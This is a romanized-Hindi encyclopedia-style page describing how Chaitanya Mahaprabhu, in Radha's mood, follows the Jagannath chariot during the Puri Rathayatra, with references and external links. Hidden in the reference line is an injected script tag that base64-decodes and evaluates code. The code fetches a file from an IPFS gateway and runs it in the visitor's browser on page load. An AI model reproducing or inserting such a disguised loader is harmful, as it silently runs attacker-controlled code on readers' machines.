shriradha tatha shrikrishna ke milan mean hi shrijagannath puri mean shrichaitany mahaprabhu ji ke abhinay ka rahasy chhupa hua hai. shrimahaprabhu ke kuchh hi parshad ise samajhate haian. iskan ke sansthapak e. si. bhaktivedant svami maharaj ji batate haian ki rathayatra utsav ka sara bhav shrikrishna ko kurukshetr se vrindavan vapas lane ka hai. puri sthit shrijagannath ji ka bhavy mandir dvaraka rajy ko pradarshit karata hai, jahaan shrikrishna param-aishvary ka bhog karate haian tatha gundicha mandir vrindavan ka roop hai jahaan bhagavan ko laya jata hai, jo ki unaki madhuratam lilaoan ki jagah hai. radharani ki bhoomika ada karate hue shrichaitany mahaprabhu ji unake bhav mean rathayatra ke samay rath ke pichhe rahakar bhagavan jagannath ji ki pariksha ki lila karate haian ,'kya shrikrishna hamara smaran karate haian? maian yah dekhana chahata hooan ki kya sachamuch unhean hamari paravah hai? yadi paravah hai to ve avashy hi pratiksha kareange aur yah pata lagane ki prayatn kareange ki ham kahaan haian?' ashchary ki bat to yah hai ki shrimahaprabhu ji jab-jab rath ke pichhe chale jate tab-tab rath ruk jata. bhagavan shrijagannath pratiksha karate aur dekhane ka prayas karate ki radha kahaan hai? vrajavasi kahaan haian? bhagavan shrijagannath, jo ki sakshath shrikrishna haian, shrichaitany mahaprabhu ko yah divy bhav batalana chahate haian ki yadyapi maian vrindavan se door tha, kintu maian apane bhaktoan ko, visheshataya radharani ko bhoola nahian hooan.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

bijalvan, d aau. chakradhar vishv ke pramukh darshanik (hindi). bharatadiskavari pustakalay: vaijnanik tatha takaniki shabdavali ayog, nee dilli, 207.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

• Gaudiya Vaishnava
• Gaudiya Vaishnavas
• chaitany mahaprabhu - jivan parichay
• parichay- chaitany mahaprabhu
• jivani/atmakatha >> chaitany mahaprabhu (lekhak- amritalal nagar)
• Shri Chaitanya Mahaprabhu -Hindi movie (youtube)